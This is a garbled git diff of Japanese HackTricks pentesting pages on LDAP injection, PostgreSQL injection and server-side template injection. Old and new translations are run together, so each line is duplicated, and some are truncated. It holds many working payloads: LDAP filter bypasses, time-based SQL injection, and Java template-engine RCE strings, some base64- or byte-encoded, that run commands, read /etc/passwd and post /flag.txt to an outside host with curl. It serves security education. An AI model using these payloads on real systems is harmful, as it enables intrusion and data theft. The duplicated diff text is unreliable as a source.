**ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\ **ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\
**SunOne Directory Server 5.0**: 両方のフィルターを実行します。 **SunOne Directory Server 5.0**: 両方のフィルターを実行します。
**フィルターは正しい構文で送信することが非常に重要です。さもなければエラーが発生します。1つのフィルターのみを送信する方が良いです。** **フィルターは正しい構文で送信することが非常に重要です。エラーが発生します。フィルターは1つだけ送信する方が良いです。**
フィルターは次のように始まる必要があります: `&` または `|`\ フィルターは次のように始まる必要があります: `&` または `|`\
Example: `(&(directory=val1)(folder=public))` : `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\ `(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void` `VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed). 次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
### Login Bypass ### Login Bypass
@ -167,7 +167,7 @@ ascii文字、数字、記号を繰り返すことができます:
#### **有効なLDAPフィールドを発見する** #### **有効なLDAPフィールドを発見する**
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存する**ことができます**それらすべてをブルートフォースして情報を抽出する**ことを試みることができます。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。 LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存することができます**それらを**ブルートフォースして情報を抽出することを試みることができます**。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests import requests
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -35,7 +35,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
## PostgreSQL攻撃読み取り/書き込み、RCE、権限昇格 ## PostgreSQL攻撃読み取り/書き込み、RCE、権限昇格
ホストを侵害し、PostgreSQLから権限を昇格させる方法を確認してください PostgreSQLからホストを侵害し、権限を昇格させる方法を確認してください:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} {% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md) [pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -45,12 +45,12 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
### PostgreSQL文字列関数 ### PostgreSQL文字列関数
文字列を操作することで、**WAFやその他の制限をバイパスする**のに役立つ可能性があります。\ 文字列を操作することで、**WAFやその他の制限をバイパスする**のに役立ます。\
[**このページ**](https://www.postgresqltutorial.com/postgresql-string-functions/)**では、いくつかの便利な文字列関数を見つけることができます。** [**このページ**](https://www.postgresqltutorial.com/postgresql-string-functions/)**では、いくつかの便利な文字列関数を見つけることができます。**
### スタッククエリ ### スタッククエリ
PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。ただし、時間インジェクションを介してスタッククエリを悪用することは可能です: PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。ただし、タイムインジェクションを介してスタッククエリを悪用することは可能です:
``` ```
id=1; select pg_sleep(10);-- - id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -59,19 +59,19 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml** **query\_to\_xml**
この関数は、すべてのデータをXML形式で1つのファイルに返します。1行で大量のデータをダンプしたい場合に最適です: この関数は、すべてのデータをXML形式で1つのファイルに返します。大量のデータを1行でダンプしたい場合に最適です:
```sql ```sql
SELECT query_to_xml('select * from pg_user',true,true,''); SELECT query_to_xml('select * from pg_user',true,true,'');
``` ```
**database\_to\_xml** **database\_to\_xml**
この関数は、データベース全体をXML形式で1行にダンプしますデータベースが非常に大きい場合は注意してください。DoS攻撃を引き起こす可能性がありますし、クライアントにも影響を与える可能性があります この関数は、データベース全体をXML形式で1行にダンプしますデータベースが非常に大きい場合は注意してください。DoS攻撃を引き起こす可能性がありますし、クライアントにも影響を与えるかもしれません
```sql ```sql
SELECT database_to_xml(true,true,''); SELECT database_to_xml(true,true,'');
``` ```
### Hexでの文字列 ### 16進数の文字列
**文字列の中に**(例えば、**`query_to_xml`**関数を使用して)**クエリを渡すことができる場合、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルタをバイパスできます:** **文字列の中に**(例えば、**`query_to_xml`**関数を使用して)**クエリを渡すことができる場合**、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルタを回避できます:**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```sql ```sql
@ -97,9 +97,9 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$; SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$; SELECT $TAG$hacktricks$TAG$;
``` ```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_) もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -112,8 +112,8 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,41 +1,43 @@
# SSTI (Server Side Template Injection) # SSTI (Server Side Template Injection)
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)**スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。 [**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティの専門家にとって熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## What is SSTI (Server-Side Template Injection) ## SSTI (Server-Side Template Injection)とは
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。 サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう
```python ```python
output = template.render(name=request.args.get('name')) output = template.render(name=request.args.get('name'))
``` ```
この脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使用してテンプレートに直接渡されます。これにより、攻撃者が `name` パラメータに悪意のあるコードを注入する可能性があり、サーバーサイドテンプレートインジェクションにつながる可能性があります。 この脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使用してテンプレートに直接渡されます。これにより、攻撃者が `name` パラメータに悪意のあるコードを注入する可能性があり、サーバーサイドテンプレートインジェクションにつながる可能性があります。
例えば、攻撃者は次のようなペイロードを含むリクエストを作成することができます: 例えば、攻撃者は次のようなペイロードを含むリクエストを作成することができます
``` ```
http://vulnerable-website.com/?name={{bad-stuff-here}} http://vulnerable-website.com/?name={{bad-stuff-here}}
``` ```
The payload `{{bad-stuff-here}}``name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。 The payload `{{bad-stuff-here}}``name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があり、最終的にはサーバーの制御を得ることができます。
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。 サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
@ -46,17 +48,23 @@ The payload `{{bad-stuff-here}}` は `name` パラメータに注入されます
* 脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。 * 脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。
* 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。 * 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。
* **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。 * **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。
* **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかを確認します * **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうか。
#### Identification Phase #### Identification Phase
テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語固有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。 テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語特有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。
#### Identification by payloads
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
* 詳細は [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) を参照してください。
## Tools ## Tools
### [TInjA](https://github.com/Hackmanit/TInjA) ### [TInjA](https://github.com/Hackmanit/TInjA)
効率的な SSTI + CSTI スキャナーであり、新しいポリグロットを利用しています。 効率的な SSTI + CSTI スキャナーで、新しいポリグロットを利用しています。
```bash ```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -101,7 +109,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
```java ```java
${T(java.lang.System).getenv()} ${T(java.lang.System).getenv()}
``` ```
**Java - /etc/passwdを取得** **Java - /etc/passwdを取得する**
```java ```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -113,8 +121,8 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
* `{{7*7}} = {{7*7}}` * `{{7*7}} = {{7*7}}`
* `${7*7} = 49` * `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)` * `#{7*7} = 49 -- (レガシー)`
* `${7*'7'} Nothing` * `${7*'7'} 何もない`
* `${foobar}` * `${foobar}`
```java ```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -135,7 +143,7 @@ ${dwf.newInstance(ec,null)("id")}
``` ```
**詳細情報** **詳細情報**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のFreeMarkerセクション * [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のFreeMarkerセクション
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java) ### Velocity (Java)
@ -168,7 +176,7 @@ $out.read()
### Thymeleaf ### Thymeleaf
Thymeleafにおいて、SSTI脆弱性の一般的なテストは、式`${7*7}`であり、これはこのテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます: Thymeleafでは、SSTI脆弱性の一般的なテストは式`${7*7}`であり、このテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます:
* SpringEL: * SpringEL:
@ -181,11 +189,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
``` ```
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、`[[...]]`や`[(...)]`のような構文が使用できます。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。 Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、`[[...]]`や`[(...)]`のような構文を使用します。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。 しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。
Thymeleafはまた、ダブルアンダースコア`__...__`内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメント示されているように、式の構築に利用できます: Thymeleafはまた、ダブルアンダースコア`__...__`内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメント示されているように、式の構築に利用できます:
```java ```java
#{selection.__${sel.code}__} #{selection.__${sel.code}__}
``` ```
@ -196,7 +204,7 @@ Thymeleafはまた、ダブルアンダースコア`__...__`)内の式を
<a th:href="@{__${path}__}" th:title="${title}"> <a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
``` ```
これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています: これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています
``` ```
http://localhost:8082/(7*7) http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -254,7 +262,7 @@ print(base_payload + end_payload)
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Spring View Manipulation (Java) ### Springビュー操作 (Java)
```java ```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -273,7 +281,7 @@ Pebbleの古いバージョン ( < version 3.0.9):
```java ```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
``` ```
新しいバージョンのPebble : 新しいバージョンのPebble:
```java ```java
{% raw %} {% raw %}
{% set cmd = 'id' %} {% set cmd = 'id' %}
@ -300,7 +308,7 @@ Pebbleの古いバージョン ( < version 3.0.9):
{{'a'.toUpperCase()}} would result in 'A' {{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
``` ```
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。 JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手できます。
**Jinjava - コマンド実行** **Jinjava - コマンド実行**
@ -371,11 +379,11 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
``` ```
**詳細情報** **More information**
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### 表現言語 - EL (Java) ### Expression Language - EL (Java)
* `${"aaaa"}` - "aaaa" * `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000. * `${99999+1}` - 100000.
@ -383,11 +391,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49 * `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}` * `${{request}}, ${{session}}, {{faceContext}}`
表現言語 (EL) は、JavaEEにおけるプレゼンテーション層ウェブページなどとアプリケーションロジックマネージドビーンなどとの相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます Expression Language (EL) は、JavaEEにおけるプレゼンテーション層ウェブページなどとアプリケーションロジックマネージドビーンなどとの相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます
* **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。 * **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
* **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。 * **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
* **Java EEのためのコンテキストと依存性注入 (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。 * **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
**ELインタープリタの悪用**について詳しくは、以下のページを確認してください: **ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
@ -397,7 +405,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
### Groovy (Java) ### Groovy (Java)
以下のセキュリティマネージャーバイパスは、この[**書き込み**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。 以下のセキュリティマネージャーバイパスは、この[**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
```java ```java
//Basic Payload //Basic Payload
import groovy.*; import groovy.*;
@ -422,9 +430,15 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
